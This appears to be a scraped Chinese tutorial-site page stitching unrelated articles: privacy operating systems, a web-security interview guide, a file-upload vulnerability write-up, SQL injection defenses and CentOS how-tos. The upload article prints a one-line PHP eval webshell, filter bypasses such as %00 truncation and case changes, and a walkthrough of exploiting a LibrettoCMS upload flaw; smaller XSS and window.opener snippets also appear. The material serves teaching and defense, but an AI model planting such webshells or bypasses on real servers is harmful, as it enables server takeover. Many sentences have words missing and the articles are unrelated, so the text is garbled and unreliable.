OS还带有一个名叫CoyIM的即时通信功能以及一个名叫Icedove的邮件客户端,以消除客户端通信中的安全隐患。 TAILS 跟其他匿名浏览器相似,TAILS同样可以帮助用户浏览暗网内容,而且TAILS是一款为用户提供完全匿名和隐私的实时操作系统,并且还可以使用U盘或DVD直接在任何一台计算机设备上使用。 TAILS完全免费,在使用过程中,它会暂时关闭原来的标准操作系统,并且在TAILS关闭之后重新恢复操作系统,整个过程不需要占用额外的存储空间,因为它主要在RAM上运行,因此不会留下任何痕迹。 Whonix Whonix跟Subgraph OS比较相似,这意味着它也不是一个独立的浏览器,而是一个基于Tor的免费操作系统。大多数基于Tor框架实现的工具,都可以给用户提供完全的隐私和匿名保护。 Whonix非常强大,即使是具有root权限的恶意软件也无法通过Tor链接跟踪到用户的IP地址。由于Whonix是一个操作系统,它还可以给用户提供完整的配置权限,包括服务器可见性等等。出自之外,Whonix还提供了“数据流隔离“功能,因为它不需要使用相同的Tor出口节点,因此它也是一款非常好用的暗网浏览器。 相关文章教程分享:服务器安全教程 以上就是五款隐私保护性超好的浏览器的知识。速戳>>知识兔学习精品课! 之前出去面试的时候, 经常会被问到一些安全方面的问题。安全涉及的领域很大, 我也仅仅是了解一些皮毛, 每次面试前都要找资料复习, 很麻烦。所以我就根据之前搜集的一些资料和面试的经验,系统的梳理了一下,希望对大家有所帮助。 首先简单介绍几种常见的攻击方式: 1、SQL注入 2、XSS 3、CSRF 4、点击劫持 5、中间人攻击 1. SQL 注入 这是一种比较简单的攻击方式。 如果后台人员使用用户输入的数据来组装SQL查询语句的时候不做防范, 遇到一些恶意的输入, 最后生成的SQL就会有问题。 比如地址栏输入的是: 发送一个get请求, 调用的查询语句是: 正常情况下, 返回 id = 1 的文章。 如果攻击者想获得所有的文章,语句就可以改成: 这样就可以了, 为什么呢? 这是因为,id = -1 永远是 false,1=1 永远是true,所有整个where语句永远是ture. 所以 where 条件相当于没有加where条件,那么查询的结果相当于整张表的内容,攻击者就达到了目的。 现在的系统一般都会加入 过滤 和 验证 机制, 可以有效预防SQL注入问题。 2. XSS 知识兔 XSS 全称是。 通过的方式来达到攻击的目的。 我们有个社交网站,允许大家相互访问空间,网站可能是这样做的: <form action="" method="POST"> <input type="text" name="text"> <input type="submit" value="submit">input> form><h2>你输入的内容: {{{text}}}h2> 如果你用的是浏览器, 会得到来自浏览器的警告: Chrome 这类浏览器能自动帮助用户防御攻击, 很贴心。 但是也不是说, 只要我用Chrome就万事大吉了,该防御, 还得防御。 对于 XSS 攻击,通常来说,有可以防御: 1、字符转译 2、CSP(Content Security Policy) 1.字符转译 做法就是转义输入输出的内容,对于引号、尖括号、斜杠等字符进行转义。 & 替换为:&< 替换为:<> 替换为:>” 替换为:"‘ 替换为:'/ 替换为:/ 通过转义可以将攻击代码 : <script>alert('1')script> 转译成: <script>alert(1)</script> 替换了这些字符之后,恶意代码就会,XSS 攻击将不会轻易发生。 对于一般的输入, 可以像上面那样粗暴的转译。 有些情况, 光转译也是不够的,比如: <a href="https://zhishitu.com/ke"> 链接中如果存在 javacript: 开头的协议,点击链接时浏览器会执行后面的代码。 这个时候光转义是没有用的,需要对 url 协议进行,只允许 等。 包括图片 属性 img ="{{xss}}", iframe iframe ="{{xss}}" 都会存在这样的问题,都需要。 但是别的一些情况, 比如,,这时候就不能这么干了。 如此粗暴的转译会。 这种情况, 比较合适的策略是使用进行过滤和。 简单总结一下: 说完字符转译, 我们再看看CSP。 2.CSP CSP , 。 本质也是,通过设置白名单, 我们可以设置。 要开启CSP可以通过两种方式: 1、设置 HTTP Header 中的 Content-Security-Policy 2、设置 meta 标签的方式 只要配置了,那么即使网站存在漏洞,恶意代码也不会被执行。 CSP的兼容性: CSP 文档地址: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy 3. CSRF CSRF 全称是跨站请求伪造( Cross Site Request Forgery) 本质上, 说白了就是借用用户的或偷偷的完成某些操作。 CSRF 的发生其实是借助了 的特性。 我们登录了某个 http://tao.com 购物网站之后,cookie 就会有的标记了。 此时请求http://tao.com/pay?id=123&money=1000, 是会带着 cookie 的,server 端就知道已经登录了。 如果在http://tao.com去请求其他域名的 API , 例如http://tx.com/api时,是不会带 cookie 的,这是浏览器的限制。 但是此时在其他域名的页面中,请求http://tao.com/pay?id=123&money=1000,就会带着tao.com的 cookie 。 这是发生 CSRF 攻击的理论基础。 如何防御CSRF 防御CSRF 有效的手段就是加入各个层级的. 例如现在的购物网站,只要涉及现金交易,肯定要输入密码或者扫码验证才行。 除此之外,敏感的接口要使用请求而不是. 4.点击劫持 click-jacking,也被称为。 这也是比较常问到的一个问题,也是我们最常见的一种情况。 攻击方式就是在某些操作的按钮上加一层。 点击一下, 就入坑了。 如何防御点击劫持 常用的两种方式: 1. 使用 HTTP 头防御 通过配置 nginx 发送 响应头. 这个 HTTP 响应头 就是为了防御用 iframe 嵌套的点击劫持攻击。 这样浏览器就会。 该响应头有三个值可选,分别是:,表示页面不允许通过 iframe 的方式展示。,表示页面可以在相同域名下通过 iframe 的方式展示。,表示页面可以在指定来源的 iframe 中展示。 更详细的可以查阅 MDN 上关于 X-Frame-Options 响应头的内容。 2. 使用 Javascript 防御 判断顶层视口的域名是不是和本页面的,如果不一致就让恶意网页自动跳转到我方的网页。 if (top.location.hostname !== self.location.hostname) { alert("您正在访问不安全的页面,即将跳转到安全页面!") top.location.href="https://zhishitu.com/ke" } 5. 中间人攻击 中间人攻击(Man-in-the-Middle Attack, )是一种由来已久的网络入侵手段. 如 SMB 会话劫持、DNS 欺骗等攻击都是典型的MITM攻击。 简而言之,所谓的MITM攻击就是,并进行和来达到攻击的目的,而通信的双方却毫不知情。 如何防御中间人攻击 以下是针对防止中间人攻击的一些建议: 1、确保当前你所访问的网站使用了HTTPS 2、如果你是一个网站管理员,你应当执行HSTS协议 3、不要在公共Wi-Fi上发送敏感数据 4、如果你的网站使用了SSL,确保你禁用了不安全的SSL/TLS协议。 5、不要点击恶意链接或电子邮件。 还有一个容易被的漏洞 window.opener 带有 target="_blank" 跳转的网页拥有了浏览器 对象赋予的对原网页的,这可能会被恶意网站利用. 例如一个恶意网站在某 UGC 网站 Po 了其恶意网址,该 UGC 网站用户在新窗口打开页面时,恶意网站利用该漏洞将原 UGC 网站跳转到伪造的钓鱼页面,用户返回到原窗口时可能会忽视浏览器 URL 已发生了变化,即可进一步进行或其他: 代码如下: <script language="javascript"> window.opener.location = 'https://example.com'script> 想象一下,你在浏览淘宝的时候,点击了网页聊天窗口的一条外链,出去看了一眼,回来之后淘宝网已经变成了另一个域名的,而你却未曾发觉,继续买东西把自己的钱直接打到骗子手里。 如何修复 为 target="_blank" 加上 rel="noopener noreferrer" 属性。 <a href="https://zhishitu.com/ke" rel="noopener noreferrer">外跳的地址a> 缺点: 为禁止了跳转带上 referrer,目标网址。 还有一种方法是,所有的外部链接都替换为内部的跳转连接服务,点击连接时,先跳到内部地址,再由服务器 redirect 到外部网址。 现在很多站点都是这么做的, 不仅可以规避风险,还可以控制非法站点的打开: "/redirect?target=http%3A%2F%2Fxxx.yyy.com">http://xxx.yyy.com 大概就是这么多。 总结 上文介绍了了一些常见的前端安全方面的知识及如何防御这些攻击,应对面试的话,基本上也算够用了。 安全的领域很大,上面我只是的介绍了一个方面,如果大家对于安全这一块有兴趣的话,可以找一些相关资料继续研究。 文中若有谬误, 还请各位大佬指正。 以上就是常见的的web安全面试问题(分享)的知识。速戳>>知识兔学习精品课! web安全分为保护服务器及其数据的安全;保护服务器和用户之间传递的信息的安全;保护web应用客户端及其环境安全这三个方面。 随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上。 (推荐学习:web前端视频教程) Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。 Web应用安全问题本质上源于软件质量问题。但Web应用相较传统的软件,具有其独特性。 Web应用往往是某个机构所独有的应用,对其存在的漏洞,已知的通用漏洞签名缺乏有效性;需要频繁地变更以满足业务目标,从而使得很难维持有序的开发周期;需要全面考虑客户端与服务端的复杂交互场景,而往往很多开发者没有很好地理解业务流程;人们通常认为Web开发比较简单,缺乏经验的开发者也可以胜任。 Web应用安全,理想情况下应该在软件开发生命周期遵循安全编码原则,并在各阶段采取相应的安全措施。 然而,多数网站的实际情况是:大量早期开发的Web应用,由于历史原因,都存在不同程度的安全问题。对于这些已上线、正提供生产的Web应用,由于其定制化特点决定了没有通用补丁可用,而整改代码因代价过大变得较难施行或者需要较长的整改周期。 这种现状,专业的Web安全防护工具是一种合理的选择。WEB应用防火墙(以下简称WAF)正是这类专业工具,提供了一种安全运维控制手段:基于对HTTP/HTTPS流量的双向分析,为Web应用提供实时的防护。 常见的WEB安全产品有梭子鱼WEB应用防火墙等。 以上就是web安全分为几个方面的知识。速戳>>知识兔学习精品课! 一、 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。 文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。 这里需要特别说明的是上传漏洞的利用经常会使用WebShell,而WebShell的植入远不止文件上传这一种方式。 1 Webshell简介 WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过应用本身的检测。<?php eval($_POST[a]); ?>就是一个最常见最原始的小马,以此为基础也涌现了很多变种,如<script language="php">eval($_POST[a]);</script>等。 2 文件上传漏洞原理 大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。 当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。 上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行; 上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器; 上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击; 上传文件是恶意图片时,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行; 上传文件是伪装成正常后缀的恶意脚本时,攻击者可借助本地文件包含漏洞(Local File Include)执行该文件。如将bad.php文件改名为bad.doc上传到服务器,再通过PHP的include,include_once,require,require_once等函数包含执行。 此处造成恶意文件上传的原因主要有三种: 文件上传时检查不严。没有进行文件格式检查。一些应用仅仅在客户端进行了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查,攻击者可以通过NC,Fiddler等断点上传工具轻松绕过客户端的检查。一些应用虽然在服务器端进行了黑名单检查,但是却可能忽略了大小写,如将.php改为.Php即可绕过检查;一些应用虽然在服务器端进行了白名单检查却忽略了%00截断符,如应用本来只允许上传jpg图片,那么可以构造文件名为xxx.php%00.jpg,其中%00为十六进制的0x00字符,.jpg骗过了应用的上传文件类型检测,但对于服务器来说,因为%00字符截断的关系,最终上传的文件变成了xxx.php。 文件上传后修改文件名时处理不当。一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。如应用只能上传.doc文件时攻击者可以先将.php文件后缀修改为.doc,成功上传后在修改文件名时将后缀改回.php。 使用第三方插件时引入。好多应用都引用了带有文件上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。如著名的博客平台WordPress就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。 3 文件上传攻击实例 前文已经提到造成文件上传漏洞的原因有多种,下面以其中的第二种为例,选取 LibrettoCMS文件上传漏洞(漏洞exploit-db编号为)详解整个漏洞的利用过程。 Libretto是一款使用PHP语言和MySQL语言开发的内容管理系统。LibrettoCMS 2.2.2版本允许未验证的用户上传文件,并且可以对已上传的文件进行后缀名修改。虽然系统限制用户只能上传doc和pdf格式的文件,但修改文件名时处理错误,导致用户可修改文件后缀名。攻击者可以将恶意文件后缀改为doc或者pdf,上传成功后再将后缀修改为php即可执行。 l 上传doc后缀的WebShell 访问该系统的文件管理页面/plugins/pgrfilemanager/PGRFileManager.php,上传一个正常的doc文件,发现可以上传成功。编写一个PHP语言的WebShell后门,也可以从网上下载已有的WebShell,并将WebShell文件的后缀修改为doc,此处将myshell.php后门修改为myshell.doc。 准备好WebShell以后访问PGRFileManager.php文件管理页面将myshell.doc上传到服务器,如图1所示,doc后缀的myshell已经成功上传。此时通过浏览器访问该doc格式的myshell是无法正常执行的。 图1 mybshell.doc成功上传 l 将WebShell后缀改为php 在文件管理页面右键点击mybshell.doc并选择rename进入修改文件名称页面,将mybshell.doc改为mybshell.php并点击Ok按钮提交修改结果(如图2所示)。此时myshell文件的后缀已被成功修改了php,受该应用编码实现影响文件管理页面已经无法读取myshell.php文件,但我们在系统服务器的文件上传目录里可以看见修改后的文件(如图3所示)。 图2 将mybshell.doc修改为mybshell.php 图3 服务器里myshell后缀已改为php l 执行Webshell 此时服务器上传目录里的WebShell已经是php后缀,服务器环境已可以正常解析,通过浏览器直接访问该文件:http://192.168.20.174/vlun/Mylibretto/userfiles/myshell.php,输入WebShell中我们设置的密码即可登录到该WebShell页面(如图4所示)。从图中我们可以看到,仅通过该WebShell文件攻击者就可以在服务器上进行文件管理,数据库管理,执行系统命令,执行任意PHP代码。借助该WebShell,攻击者可以将其他WebShell文件放置到更深层的目录中,或者将PHP后门代码直接添加到系统中已有的很少用的php文件中以防止被系统管理员发现。 图4 成功访问WebShell后门 4 文件上传漏洞防御 首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。 防范文件上传漏洞常见的几种方法。 1、文件上传的目录设置为不可执行 只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。 2、判断文件类型 在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。 3、使用随机数改写文件名和文件路径 文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。 4、单独设置文件服务器的域名 由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。 l 系统开发阶段的防御 系统开发人员应有较强的安全意识,尤其是采用PHP语言开发系统。在系统开发阶段应充分考虑系统的安全性。对文件上传漏洞来说,最好能在客户端和服务器端对用户上传的文件名和文件路径等项目分别进行严格的检查。客户端的检查虽然对技术较好的攻击者来说可以借助工具绕过,但是这也可以阻挡一些基本的试探。服务器端的检查最好使用白名单过滤的方法,这样能防止大小写等方式的绕过,同时还需对%00截断符进行检测,对HTTP包头的content-type也和上传文件的大小也需要进行检查。 l 系统运行阶段的防御 系统上线后运维人员应有较强的安全意思,积极使用多个安全检测工具对系统进行安全扫描,及时发现潜在漏洞并修复。定时查看系统日志,web服务器日志以发现入侵痕迹。定时关注系统所使用到的第三方插件的更新情况,如有新版本发布建议及时更新,如果第三方插件被爆有安全漏洞更应立即进行修补。对于整个网站都是使用的开源代码或者使用网上的框架搭建的网站来说,尤其要注意漏洞的自查和软件版本及补丁的更新,上传功能非必选可以直接删除。除对系统自生的维护外,服务器应进行合理配置,非必选一般的目录都应去掉执行权限,上传目录可配置为只读。 l 安全设备的防御 文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。目前华三通信公司发布的SecPath IPS系列产品经过长期的积累,不但可以基于行为对网络中大量文件上传漏洞的利用进行检测,同时还能基于内容对恶意文件进行识别。 二、 结束语 对攻击者来说,文件上传漏洞一直都是获取服务器shell的重要途径。对系统维护人员来说,文件上传漏洞的巨大危害也无须赘述,积极学习,深入了解漏洞的相关知识可以更从容的面对这类攻击 推荐教程:PHP安全与漏洞 以上就是web安全之文件上传漏洞攻击与防范方法的知识。速戳>>知识兔学习精品课! SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击. SQL注入原理 当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码, 根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。 如何防止SQL注入? 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度的方式进行处理;然后对单引号和双"-"等敏感符号进行转换等。不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。 相关教程:SQL视频教程 以上就是web安全之如何防止SQL注入的知识。速戳>>知识兔学习精品课! Yum(全称为 Yellow dog Updater, Modified)是一个在Fedora和RedHat以及CentOS中的Shell前端软件包管理器。基于RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软件包,无须繁琐地一次次下载、安装。 (推荐学习:linux视频教程) 卸载软件包 (以 tomcat 为例) yum remove tomcat 如图: 相关教程推荐:CentOS使用教程 以上就是centos怎么卸载软件的知识。速戳>>知识兔学习精品课! 首先执行 sudo 命令 或者 su 命令进入 root模式; 然后rm(remove的缩写把)命令对文件夹进行删除,如果提示你不能删除一个目录,那么就要用如下命令: (推荐学习视频:linux视频教程) 1、rm -r + 目录/文件名 : 使用递归删除。 2、rm -rf + 目录/文件名 : 彻底删除文件夹。 3、rm -ir + 目录/文件名 : 交互式删除文件。 相关教程推荐:CentOS使用教程 以上就是centos7怎么删除文件的知识。速戳>>知识兔学习精品课! 方法一、执行service命令启动 service mysqld start (推荐学习:linux视频教程) 方法二、通过服务管理脚本启动 /etc/init.d/mysqld start 相关教程推荐:CentOS使用教程 以上就是centos怎么启动mysql服务的知识。速戳>>知识兔学习精品课! mount挂载命令的格式: mount -t type device directory 其中type表示要挂载的装置中文件系统的格式: vfat :Windows中长文件系统 ntfs :WindowsNT、Windows7中广泛使用的高级文件系统 iso9660 :标准cdrom文件系统 一般U盘的文件格式为:vfat (推荐学习:linux视频教程) 默认光盘设备在/dev/cdrom下,要挂载到的点,可以随便新建一个文件夹,那么基本命令如下: 在/root目录下新建一个文件夹cdrom mkdir cdrom 挂载命令: mount -y iso9660 -o ro /dev/cdrom /root/cdrom 相关教程推荐:CentOS使用教程 以上就是centos怎么挂载光盘的知识。速戳>>知识兔学习精品课! 1、版本不同 CentOS 32bit系统主要针对PC而发布的; CentOS 64bit系统主要针对大型的科学计算。 (推荐教程:centos使用教程) 2、配置系统不同 64bit Linux系统主要安装64bit硬件系统上; 32bit Linux系统可以安装到32bit硬件系统上,也可安装到64bit硬件上但运行效果不好(大马拉小车)。 3、CPU运算速度不同 4、寻址不一样 64bit寻址空间更大 128G内存可以寻址操作; 32bit寻址空间小 Oracle系统基本使用不了 可以通过PAE(物理地址扩展)开启大内存支持。 5、软件普及不同 相关视频教程分享:linux视频教程 以上就是centos系统32位与64位的区别的知识。速戳>>知识兔学习精品课! 一、 [root@linuxzgf ~]#getconf LONG_BIT[root@linuxzgf ~]#getconf WORD_BIT (32位的系统中int类型和long类型一般都是4字节,64位的系统中int类型还是4字节的,但是long已变成了8字节inux系统中可用"getconf WORD_BIT"和"getconf LONG_BIT"获得word和long的位数。64位系统中应该分别得到32和64。) (推荐教程:centos使用教程) 二、 [root@linuxzgf ~]#uname -a 如果有x86_64就是64位的,没有就是32位的;后面是X686或X86_64则内核是64位的,i686或i386则内核是32位的 三、 直接看看有没有/lib64目目录的方法。64位的系统会有/lib64和/lib两个目录,32位只有/lib一个。 四、 [root@linuxzgf ~]#file /sbin/init/sbin/init: ELF 32-bit LSB executable, Intel , version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped 32-bit即是32位的 linux, 如是64位的, 显示的是 64-bit 五、 [root@linuxzgf ~]#file /bin/cat/bin/cat: ELF 32-bit LSB executable, Intel , version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped 32-bit即是32位的 linux, 如是64位的, 显示的是 64-bit 六、 [root@linuxzgf ~]#uname -mx86_643.# archx86_64i686 相关视频教程推荐:linux视频教程 以上就是如何查看centos系统版本是32位还是64位的知识。速戳>>知识兔学习精品课! 问题: Windows的默认编码为GBK,Linux的默认编码为UTF-8。在Windows下编辑的中文,在Linux下显示为乱码。为了解决此问题,修改Linux的默认编码为GBK。 (推荐教程:centos使用教程) 解决方法: 1、安装英文版默认的字符集配置为: # cat /etc/sysconfig/i18nLANG="en_US.UTF-8"SYSFONT="latarcyrheb-sun16 2、修改为中文字符集: # vi /etc/sysconfig/i18nLANG="zh_CN.GBK"SUPPORTED="zh_CN.UTF-8:zh_CN:zh"SYSFONT="latarcyrheb-sun16" 3、执行如下命令或者重启即可生效。 # source /etc/sysconfig/i18n 相关视频教程分享:linux视频教程 以上就是centos6系统出现中文乱码怎么办的知识。速戳>>知识兔学习精品课! 问题: 配置好CentOS之后,发觉在内部上不了网,ping外部IP也ping不通。 解决方法: 检查网卡的设置是否有问题,保证IP地址与GATEWAY在同一个网段。命令:vim /etc/sysconfig/network-scripts/ifcfg-eth*。 (推荐教程:centos使用教程) 检查路由设置是否正确。如果第一步是没问题的话,那么此时你的IP、网关都是能ping通的,用命令:route -n 可以查看系统的路由设置。比如:我的eth0的ip地址为192.168.1.156 网关为192.168.1.2,若要连接外网的地址,那么会有一条路由设置为如图所示,Destination此时为0.0.0.0表示任意地址。 要检查iptables(防火墙)是否配置正确。如果是自己的机器,没有安全要求的话,可以将防防火墙关,命令:service iptables stop 要设置dns服务器。命令:vim etc/resolv.conf,添加以下内容:nameserver 8.8.8.8。 完成! 相关视频教程推荐:linux视频教程 以上就是centos6.5系统无法ping通外网的知识。速戳>>知识兔学习精品课! 一、检查虚拟机设置 确保网络连接工作在NAT模式,如图: (推荐教程:centos使用教程) 二、修改DNS地址 切换到root用户,切换到目录 /etc下,修改resolv.conf文件中的DNS地址,添加一个DNS地址 如nameserver:8.8.8.8 ,其中192.168.61.2是我虚拟机的网关IP,这个可以不用管,保存后退出。如图: 保存后打开火狐看能否登陆上百度,如果可以,那就OK了。 但是,resolv.conf文件中的内容会在重启网络服务service network restart 或者虚拟机重启后 被重置。 所以要想配置被保留,我们需要修改虚拟机的网络配置 三、修改虚拟机网络配置 切换到root用户,切换到目录network-scripts目录下,cd /etc/sysconfig/network-scripts/ 修改网络配置文件ifcfg-eth0,在其中加入一项 DNS1="8.8.8.8",如图: 四、重启网络服务 在root权限下通过命令 service network restart就可以重启网络服务了。 相关视频教程推荐:linux视频教程 以上就是centos6.5系统无法上网的知识。速戳>>知识兔学习精品课! 在线安装 使用yum安装,注意安装时要先成为root用户。 安装gcc命令如下: yum install gcc (推荐教程:centos使用教程) 离线安装 首先到http://vault.centos.org/6.5/os/x86_64/Packages/下载用到的rpm包。 包括:ppl-0.10.2-11.el6.x86_64.rpm 、cloog-ppl-0.15.7-1.2.el6.x86_64.rpm 、mpfr-2.4.1-6.el6.x86_64.rpm 、cpp-4.4.6-4.el6.x86_64.rpm 、kernel-headers-2.6.32-279.el6.x86_64.rpm 、glibc-headers-2.12-1.80.el6.x86_64.rpm 、glibc-devel-2.12-1.80.el6.x86_64.rpm 、libstdc++-devel-4.4.6-4.el6.x86_64.rpm 、gcc-4.4.6-4.el6.x86_64.rpm 、gcc-c++-4.4.6-4.el6.x86_64.rpm 安装命令如下: rpm -ivh ppl-0.10.2-11.el6.x86_64.rpm rpm -ivh cloog-ppl-0.15.7-1.2.el6.x86_64.rpm rpm -ivh mpfr-2.4.1-6.el6.x86_64.rpm rpm -ivh cpp-4.4.7-4.el6.x86_64.rpm rpm -ivh kernel-headers-2.6.32-431.el6.x86_64.rpm rpm -ivh glibc-headers-2.12-1.132.el6.x86_64.rpm rpm -ivh glibc-devel-2.12-1.132.el6.x86_64.rpm rpm -ivh gcc-4.4.7-4.el6.x86_64.rpm rpm -ivh libstdc++-devel-4.4.7-4.el6.x86_64.rpm rpm -ivh gcc-c++-4.4.7-4.el6.x86_64.rpm 一定要按顺序进行安装,部分安装提示already installed,没关系。 如遇Error 在安装时后面加:加上参数 --nodeps --force rpm -ivh ppl-0.10.2-11.el6.x86_64.rpm --nodeps --forcerpm -ivh cloog-ppl-0.15.7-1.2.el6.x86_64.rpm --nodeps --forcerpm -ivh mpfr-2.4.1-6.el6.x86_64.rpm --nodeps --forcerpm -ivh cpp-4.4.7-4.el6.x86_64.rpm --nodeps --forcerpm -ivh kernel-headers-2.6.32-431.el6.x86_64.rpm --nodeps --forcerpm -ivh glibc-headers-2.12-1.132.el6.x86_64.rpm --nodeps --forcerpm -ivh glibc-devel-2.12-1.132.el6.x86_64.rpm --nodeps --forcerpm -ivh gcc-4.4.7-4.el6.x86_64.rpm --nodeps --forcerpm -ivh libstdc++-devel-4.4.7-4.el6.x86_64.rpm --nodeps --forcerpm -ivh gcc-c++-4.4.7-4.el6.x86_64.rpm --nodeps --force 执行完,gcc就安装成功了。 相关视频教程推荐:linux视频教程 以上就是centos6.5系统怎么安装gcc的知识。速戳>>知识兔学习精品课! 一、系统初始化技术演变——开机启动流程 CentOS 6:采用了INIT技术,整个开机过程是自检BIOS——MBR引导——GRUB加载——加载内核——启动INIT进程——读取INITTAB配置文件,根据配置文件指定的模式按顺序来启动进程服务。INIT技术让启动流程很清晰,依赖SHELL脚本。因为启动进程时是按顺序一个一个启动,所以速度慢,会因为某个服务卡住而影响系统的启动。 CentOS 7:采用了systemd技术。这是替代INIT的新技术,采用了并行方式来启动进程,所以启动速度更快,并且兼容INIT的命令以降低迁移成本。 PS:通过ps命令查看PID为1的进程可以得知当前系统所采用的技术。 (推荐教程:centos使用教程) 二、网络设置方式的改变 在CentOS 6中让人熟悉的ipconfig在CentOS 7中被ip命令取代了;图形化网络配置工具nmtui取代了setup 三、主机名与字符集 在CentOS 6中要修改主机名可以通过编辑/etc/sysconfig/network文件,但是在CentOS 7中已经废弃这个方式,而使用了/etc/hostname文件。对于临时修改主机名的方式不变,依然是hostname命令。并且CentOS 7中新增了一个主机名管理工具hostnamectl(该工具对文件名的修改是永久有效)。 而对于字符集的修改,CentOS 7使用了新的配置文件/etc/locale.conf来替代/etc/sysconfig/i18n。如果要临时修改字符集的话方式不变,修改LANG变量,如LANG=zh_CN.UTF-8。新增了字符集管理工具localectl,效果和hostnamectl一样。 四、兼容/etc/rc.local /etc/rc.local文件中记录了需要开机后自动执行的命令,在CentOS 7中该文件虽然已经被废弃,但是也能兼容使用,只需要给该文件赋予可执行权限: chmod +x /etc/rc.d/rc.local 五、runlevel运行级别的区别 CentOS 6中的/etc/inittab文件是基于init技术实现的,所以在CentOS 7中自然无法使用,但是该文件依然被保留下来,只不过其中的内容已经被替换为引导内容,让用户知道现在如何切换运行级别,由于这个不常用就不继续描写。 六、服务的管理 这是让用户最不爽的修改,增加了systemctl工具,融合了service和chkconfig命令的功能,具体使用方式见图: 